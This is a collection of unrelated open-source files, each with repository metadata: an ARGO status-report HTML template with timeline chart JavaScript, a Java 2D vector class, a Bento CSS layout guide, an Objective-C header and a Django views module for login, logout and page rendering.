tpl:if="root/@ngi" href="/lavoisier/status_report-site?start_date={{root/@start_time}}&amp;end_date={{root/@end_time}}&amp;ngi={{root/@ngi}}&amp;report={{root/@report}}&amp;accept=html">{{root/@ngi}}</a></li> <li><a href="/lavoisier/status_report-sf?site={{/root/group/@site}}&amp;start_date={{root/@start_time}}&amp;end_date={{root/@end_time}}&amp;report={{root/@report}}&amp;accept=html">{{/root/group/@site}}</a></li> <li><a href="/lavoisier/status_report-endpoints?site={{/root/group/@site}}&amp;service={{/root/group/@service}}&amp;start_date={{root/@start_time}}&amp;report={{root/@report}}&amp;end_date={{root/@end_time}}&amp;accept=html">{{/root/group/@service}}</a></li> <li class="active">{{/root/group/@endpoint}}</li> </ol> <div style="display: none" tpl:foreach="/root/group/status" >/lavoisier/{{ancestor::root/@view}}?endpoint={{ancestor::group/@endpoint}}&amp;metric={{ancestor::group/@name}}&amp;site={{ancestor::group/@site}}&amp;start_time={{ancestor::root/@start_time}}&amp;end_time={{ancestor::root/@end_time}}&amp;service={{ancestor::group/@service}}&amp;report={{ancestor::root/@report}}&amp;exec_time={{@exec_time}}&amp;accept=html</div> </div> <div id="div_timeline" style="width:100%;height:1000px"></div> </section><!-- /.content --> <section class="content" id="content" tpl:else=""> <section class="content-header" id="content-header"> <h1> ARGO Reports <small>Status Report</small> </h1> </section> <div class="panel panel-danger"> <div class="panel-heading"> <h1 class="panel-title" style="font-weight: 800;font-variant-caps: all-petite-caps"><span class="glyphicon glyphicon-flash"> </span> The chart could not be displayed</h1> </div> <div class="panel-body"> No data for this period </div> </div> </section> </div><!-- /.right-side --> <style media="screen" type="text/css"> .badge-OK { background-color: green; } .badge-UNKNOWN { background-color: #d3d3d3; } .badge-MISSING { background-color: #53424a; } .badge-WARNING { background-color: orange } .badge-CRITICAL{ background-color:red; } </style> <script type="text/javascript" src="https://www.gstatic.com/charts/loader.js"></script> <script src="/resource/js/jsapitimeline.js"></script> <script> <!-- $(document).ready(function() { google.charts.load('current', {packages: ['timeline'] , 'language':'en'}); var newgroup = []; var colorsgroup = []; var links = []; var excludedIndexes =[]; var local_groups = document.getElementById('local_groups').getElementsByTagName('div'); var local_links = document.getElementById('local_links').getElementsByTagName('div'); for (j = 0; j < local_groups.length; j++) { var tempArray = local_groups[j].textContent.split(","); var color = tempArray.pop(); tempArray[4]= '<div class="panel panel-default">' + '<div class="panel-heading"><div class="panel-title"><h3>'+ tempArray[0] +'</h3></div></div>' + '<div class="panel-body">' + '<label> Status: &nbsp;<span class="badge badge-'+tempArray[1].split("_")[0] +'">'+tempArray[1].split("_")[0] + '</span></label><hr/>' + '<label>Start Time : &nbsp;</label>' + tempArray[2] + '<hr/>' + '<label>End Time : &nbsp;</label>' + tempArray[3] + '</div><div class="panel-footer"><em>Click on the bar to access the next granularity level</em></div></div>'; tempArray[2] = new Date(tempArray[2].substr(0,19)); tempArray[3] = new Date(tempArray[3].substr(0,19)); if (tempArray[2] < tempArray[3]) { newgroup.push(tempArray); colorsgroup.push(color); } else { excludedIndexes.push(j); } } for (m = 0; m < local_links.length; m++) { if (excludedIndexes.indexOf(m) == -1) links.push(local_links[m].textContent); } google.setOnLoadCallback(drawChart); function drawChart() { var container = document.getElementById('div_timeline'); var chart = new google.visualization.Timeline(container); google.visualization.events.addListener(chart, 'select', function () { var selectedItem = chart.getSelection()[0].row; window.location = links[selectedItem]; }); var dataTable = new google.visualization.DataTable(); dataTable.addColumn({type: 'string', id: 'Service Flavour'}); dataTable.addColumn({type: 'string', id: 'Status'}); dataTable.addColumn({type: 'date', id: 'Start'}); dataTable.addColumn({type: 'date', id: 'End'}); dataTable.addColumn({'type': 'string', 'role': 'tooltip', 'p': {'html': true}}); dataTable.addRows(newgroup); var options = { title: 'Status report', backgroundColor: '#fff', colors : colorsgroup, timeline: { groupByRowLabel: true, showBarLabels : false }, hAxis: { format: 'dd.MM HH:MM' } }; function myHandler(e){ if(e.row != null){ $(".google-visualization-tooltip").html(dataTable.getValue(e.row,4)).css({width:"auto",height:"auto"}); } } google.visualization.events.addListener(chart, 'onmouseover', myHandler); chart.draw(dataTable, options); } }) --> </script> </div> </body> </html>
{ "content_hash": "6a3c485d1546a1c7e2359bf5b2a26cd6", "timestamp": "", "source": "github", "line_count": 307, "max_line_length": 444, "avg_line_length": 44.98045602605863, "alnum_prop": 0.5457310449706713, "repo_name": "ARGOeu/argo-egi-web", "id": "00369b61563f87d91b9c6d7221856663b3cf21a6", "size": "13809", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "etc/html/status_report.html", "mode": "33261", "license": "apache-2.0", "language": [ { "name": "Batchfile", "bytes": "61543" }, { "name": "CSS", "bytes": "150076" }, { "name": "HTML", "bytes": "304197" }, { "name": "JavaScript", "bytes": "146653" }, { "name": "Shell", "bytes": "84768" }, { "name": "XSLT", "bytes": "77740" } ], "symlink_target": "" }
/** * Math classes */ public class vector2f { static float EPS = 1e-6f; float x, y; public vector2f(){ x = 0; y = 0; } public vector2f(float a, float b){ x = a; y = b; } public vector2f(float v[]){ x = v[0]; y = v[1]; } public vector2f(float s){ x = s; y = s; } public vector2f(vector2f v){ x = v.x; y = v.y; } // copy self public vector2f copy(){ return new vector2f(x,y); } // aritmetines operacijos grazinancios rezultata vektoriu public vector2f mul(float s){ return new vector2f(x*s, y*s); } public vector2f div(float s){ return new vector2f(x/s, y/s); } public vector2f add(float s){ return new vector2f(x+s, y+s); } public vector2f sub(float s){ return new vector2f(x-s, y-s); } public vector2f inv(){ return new vector2f(-x, -y); } public vector2f mul(vector2f v){ return new vector2f(x*v.x, y*v.y); } public vector2f div(vector2f v){ return new vector2f(x/v.x, y/v.y); } public vector2f add(vector2f v){ return new vector2f(x+v.x, y+v.y); } public vector2f sub(vector2f v){ return new vector2f(x-v.x, y-v.y); } // aritmetines operacijos keiciancios pati vektoriu public void self_mul(float s){ x*=s; y*=s; } public void self_div(float s){ x/=s; y/=s; } public void self_add(float s){ x+=s; y+=s; } public void self_sub(float s){ x-=s; y-=s; } public void self_inv(){ x=-x; y=-y; } public void self_mul(vector2f v){ x*=v.x; y*=v.y; } public void self_div(vector2f v){ x/=v.x; y/=v.y; } public void self_add(vector2f v){ x+=v.x; y+=v.y; } public void self_sub(vector2f v){ x-=v.x; y-=v.y; } // comparing public boolean equals(vector2f v){ return (Math.abs(x-v.x)<=EPS && Math.abs(y-v.y)<=EPS); } public boolean equals(float a, float b){ return equals(new vector2f(a,b)); } // grazina ilgi ir ilgio kvadrata public float length(){ return (float)Math.sqrt(x*x + y*y); } public float square(){ return x*x + y*y; } // modulis public void abs(){ x = Math.abs(x); y = Math.abs(y); } // maksimalus/minimalus komponentas public float max(){ if(x>y) return x; return y; } public float min(){ if(x<y) return x; return y; } // normalizuoja vektoriu, grazina ilgi public float self_normalize(){ float len = length()+1e-6f; x /= len; y /= len; return len; } // grazina normalizuota vektoriu public vector2f normalized(){ vector2f v = new vector2f(this); v.self_normalize(); return v; } // skaliarine sandauga public float dot(vector2f v){ return x*v.x + y*v.y; } // vectorine sandauga su vektorium (0,0,1) // grazina siam vektoriui stamena vektoriu - nenormalizuota normale public vector2f cross(){ return new vector2f(y, -x); } }
{ "content_hash": "38d01222b1b8f346f6231e4030bb6814", "timestamp": "", "source": "github", "line_count": 68, "max_line_length": 99, "avg_line_length": 38.89705882352941, "alnum_prop": 0.6427221172022685, "repo_name": "tomazas/quake2d", "id": "a73e06234b38822b92d693c42c494c181b1a60ec", "size": "2645", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "java/vector2f.java", "mode": "33188", "license": "mit", "language": [ { "name": "Batchfile", "bytes": "192" }, { "name": "Java", "bytes": "182556" } ], "symlink_target": "" }
layout: layouts/guide.njk tags: guides title: The Bento layout guide description: How to create responsive layouts for your Bento components using CSS. permalink: /documentation/guides/bento-layout-guide/index.html --- This guide explains how to effectively layout Bento components. ## Background: how to avoid content shifts Content shifts are annoying and avoiding content shifts is an important part of providing a good user experience. Content shifts are also part of the [core web vitals](https://web.dev/vitals/) are measured via the [CLS](https://web.dev/cls/) metric. The key to avoiding content shifts is to correctly layout the content of your webpage on page load. ![CLS illustrated by a paragraph changeing position on a page](/assets/img/guides/layouts/cls.png) Bento components are optimized to avoid content shifts. This is also why every Bento webcomponent brings its own CSS styles. These styles ensure that Bento components are laid out correctly on page load. ```html <script async src="https://cdn.ampproject.org/v0/bento-accordion-1.0.js" ></script> <link rel="stylesheet" type="text/css" href="https://cdn.ampproject.org/v0/bento-accordion-1.0.css" /> ``` But some components require additional information about how they should be laid out on page load. For example, the carousel requires a pre-defined height (which can be relative to the viewport size), which you can define via CSS. In this guide, we will introduce several common layouts that work great with Bento components (and outside of Bento as well). However, not every layout works with every Bento component. For example, the container layout approach works great for the Bento Accordion, but not for the Bento Carousel. So, let’s get started and lay out some Bento components! ## Layouts ### Container layout {% iframe "/assets/iframes/layouts/container.html", "Container layout demo" %} The easiest layout is the `container` layout. This means that the Bento component is sized based on the size of its children and does not require additional information: ```html <bento-accordion> <section> <h2>Section 1</h2> <div>Content in section 1.</div> </section> <section> <h2>Section 2</h2> <div>Content in section 2.</div> </section> </bento-accordion> ``` ### Fixed layout {% iframe "/assets/iframes/layouts/fixed.html", "Fixed layout demo" %} The `fixed` layout is another simple layout approach for bento components. With a `fixed` layout, the element retains its fixed dimensions based on the element's width and height attributes: ```html <bento-base-carousel style="width: 400px; height: 300px"> <div class="red"></div> <div class="blue"></div> <div class="green"></div> </bento-base-carousel> ``` Of course, this doesn’t mean that the size is not responsive. You can also dynamically size your element using percentages or viewport dimensions: ```html <bento-base-carousel style="width: 50vw; height: 50vh"> <div class="red"></div> <div class="blue"></div> <div class="green"></div> </bento-base-carousel> ``` ### Fill layout {% iframe "/assets/iframes/layouts/fill.html", "Fill layout demo" %} With a `fill` layout, the element takes the space available to it—both width and height. In other words, the layout and size of a fill element matches its parent. Here is how you define a fill layout rule: ```html <style> .fill { position: absolute; top: 0; left: 0; right: 0; bottom: 0; width: 100%; height: 100%; } </style> <div style="width: 400px; height: 300px; position: relative;"> <bento-base-carousel style="fill"> <div class="red"></div> <div class="blue"></div> <div class="green"></div> </bento-base-carousel> </div> ``` **Important:** for this to work, the parent container needs to define `position: relative`. ### Fixed height layout {% iframe "/assets/iframes/layouts/fixed-height.html", "Fixed-height layout demo" %} With a `fixed-height` layout, the element takes the space available to it but keeps the height unchanged. This layout works well for elements that need to position content horizontally (e.g., `bento-base-carousel`). The layout is defined by specifying the element’s width and height: `width: 100%; height: 300px:` ```html <bento-base-carousel style="width: 100%; height: 300px"> <div class="red"></div> <div class="blue"></div> <div class="green"></div> </bento-base-carousel> ``` ### Responsive layout {% iframe "/assets/iframes/layouts/responsive.html", "Responsive layout demo" %} With a `responsive` layout, the element takes the space available to it and resizes its height automatically to the aspect ratio specified by the element's width and height attributes. The new <code>[aspect-ratio CSS property](https://developer.mozilla.org/en-US/docs/Web/CSS/aspect-ratio)</code> makes this very easy to declare in CSS: ```html <bento-fit-text style="aspect-ratio: 4 / 3"> Hello world! </bento-fit-text> ``` However, for [maximum browser compatibility](https://caniuse.com/?search=aspect-ratio) it’s best to fallback to the [traditional approach using pseudo elements](https://css-tricks.com/aspect-ratio-boxes/#the-pseudo-element-tactic): ```html <style> .fill { position: absolute; top: 0; left: 0; right: 0; bottom: 0; width: 100%; height: 100%; } .aspect-4-3 { display: block; overflow: hidden; position: relative; } .aspect-4-3::before { float: left; content: ''; padding-top: calc(100% * (3 / 4)); } </style> <div class="aspect-4-3"> <bento-fit-text class="fill"> Saturday 11 April 2018 00.37 </bento-fit-text> </div> ``` ### Grid layout and flexbox {% iframe "/assets/iframes/layouts/flex.html", "Flex layout demo" %} If a Bento component is the child of a [flex container](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox) or [grid layout](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout), it can be sized like any other child. For example, by using the <code>[flex](https://developer.mozilla.org/en-US/docs/Web/CSS/flex)</code> property. ```html <style> .flex-centered { display: flex; align-items: center; justify-content: center; } </style> <div class="flex-centered"> <bento-base-carousel style="width: 300px; height: 100px"> <div class="red"></div> <div class="blue"></div> <div class="green"></div> </bento-base-carousel> </div> ```
{ "content_hash": "8fbf02d8dac7d815e8be7a1c4f2b242d", "timestamp": "", "source": "github", "line_count": 187, "max_line_length": 388, "avg_line_length": 34.61497326203209, "alnum_prop": 0.7131160203923992, "repo_name": "ampproject/bentojs.dev", "id": "f4cabf6c7bfcc87044fffdc91a984530f9e3429b", "size": "6487", "binary": false, "copies": "1", "ref": "refs/heads/main", "path": "site/en/guides/Bento-layout-guide.md", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "HTML", "bytes": "58185" }, { "name": "JavaScript", "bytes": "45164" }, { "name": "Nunjucks", "bytes": "38542" }, { "name": "SCSS", "bytes": "59135" } ], "symlink_target": "" }
@interface VideoEditTextCell : UITableViewCell @property (nonatomic, copy) void(^textDidEndEditBlock)(VideoEditTextCell *cell, UITextField *textField); - (void)setData:(VideoProgramModel *)model; @end
{ "content_hash": "504a82edc840e92f3a97a5987e261417", "timestamp": "", "source": "github", "line_count": 6, "max_line_length": 104, "avg_line_length": 33.833333333333336, "alnum_prop": 0.7980295566502463, "repo_name": "caiyuesheng/seller_ios", "id": "738ab6e43a43017431218a5b7a2f9922166334af", "size": "386", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "seller/modules/videos/VideoEditTextCell.h", "mode": "33188", "license": "mit", "language": [ { "name": "Objective-C", "bytes": "267644" }, { "name": "Ruby", "bytes": "494" } ], "symlink_target": "" }
try: import simplejson as json except ImportError: import json from django.core import serializers from django.db import models from django.shortcuts import render, render_to_response, redirect, get_object_or_404 from django.http import HttpResponse, Http404 from django.contrib.auth.decorators import login_required from django.views.generic.detail import DetailView from django.views.decorators.http import require_http_methods, require_GET, require_POST, require_safe from django.views.generic import View from django.contrib import messages from django.contrib.auth import login, authenticate from django.contrib.auth.decorators import login_required from django.http import HttpResponseRedirect from django.core.urlresolvers import reverse from django.contrib.auth.views import logout as django_logout from .base_views import BaseLoginRequiredView def index(request, tpl): """Home page""" return render(request, tpl, {}) # return HttpResponse(content='Hello, world!', status=200, content_type='text/html') class LoginView(View): def __init__(self): super(LoginView, self).__init__() self.next_url = reverse('public:index') def get(self, request, tpl): """""" if request.user.is_authenticated(): return HttpResponseRedirect(self.next_url) else: var = {} return render(request, tpl, var) def post(self, request, tpl): email = request.POST.get('email') user = authenticate(username=email, password=request.POST.get('password')) if user is not None and user.is_active: login(request, user) self.next_url = request.POST.get('next') if request.POST.get('next') else self.next_url return HttpResponseRedirect(self.next_url) else: # todo: i18n messages.add_message(request, messages.INFO, '无效的用户名或密码。') return render(request, tpl, {'email': email}) # todo: 用class based view实现吧 @login_required def logout(request): if request.method == 'GET': next_page = request.GET.get('next') if not next_page: next_page = '/' # todo: 登出用户 return django_logout(request, next_page) if request.method == 'POST': js = {'status': 1, 'message': 'ok', 'ec': 0} return HttpResponse(content=json.dumps(js), status=200, content_type='application/json') def html(request, tpl_prefix): tpl = 'html/%s.html' % tpl_prefix return render(request, tpl)
{ "content_hash": "f789799f3d9d09f76807a86e672406cd", "timestamp": "", "source": "github", "line_count": 77, "max_line_length": 102, "avg_line_length": 32.79220779220779, "alnum_prop": 0.6748514851485149, "repo_name": "micfan/dinner", "id": "28938e4eb80f4a62b109daa21d0fd9ab83a843bb", "size": "2576", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "src/public/views.py", "mode": "33188", "license": "mit", "language": [ { "name": "CSS", "bytes": "10714" }, { "name": "HTML", "bytes": "26498" }, { "name": "JavaScript", "bytes": "2991" }, { "name": "Python", "bytes": "127481" }, { "name": "Shell", "bytes": "32" } ], "symlink_target": "" }